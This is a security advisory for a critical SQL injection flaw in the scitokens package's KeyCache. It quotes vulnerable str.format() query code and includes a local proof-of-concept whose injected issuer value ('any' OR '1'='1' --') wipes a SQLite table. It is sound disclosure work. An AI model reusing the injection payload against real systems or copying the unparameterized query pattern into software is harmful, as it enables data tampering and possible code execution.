PYSEC-2026-530

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/scitokens/PYSEC-2026-530.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-530
Aliases
Published
2026-06-29T11:50:44.789392Z
Modified
2026-07-01T20:23:04.757243Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
SciTokens is vulnerable to SQL Injection in KeyCache
Details

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

### Details File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

``` import sqlite3 import os import sys import tempfile import shutil import time import json from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization

def pocsqlinjection(): print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")

# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.

# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)

conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")

# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()

curs.execute(" SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")

# MALICIOUS INPUT
# The original code was: 
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"

print(f"Simulating injection with issuer: {malicious_issuer}")

# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")

curs.execute(query)
conn.commit()

curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")

if count == 0:
    print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")

conn.close()
os.remove(db_path)

if name == "main": pocsqlinjection() ```

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could: 1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys. 2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions. 3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

References

Affected packages

PyPI / scitokens

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.9.6

Affected versions

0.*
0.1
0.1.1
0.1.3
0.1.4
0.1.5
0.1.6
0.2.1
0.2.2
0.3.0
0.3.1
0.3.2
0.3.3
1.*
1.0.0
1.0.1
1.0.2
1.1.0
1.1.1
1.2.0
1.2.1
1.2.2
1.2.4
1.3.1
1.4.0
1.5.0
1.6.0
1.6.2
1.7.0
1.7.1
1.7.2
1.7.4
1.8.0
1.8.1

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/scitokens/PYSEC-2026-530.yaml"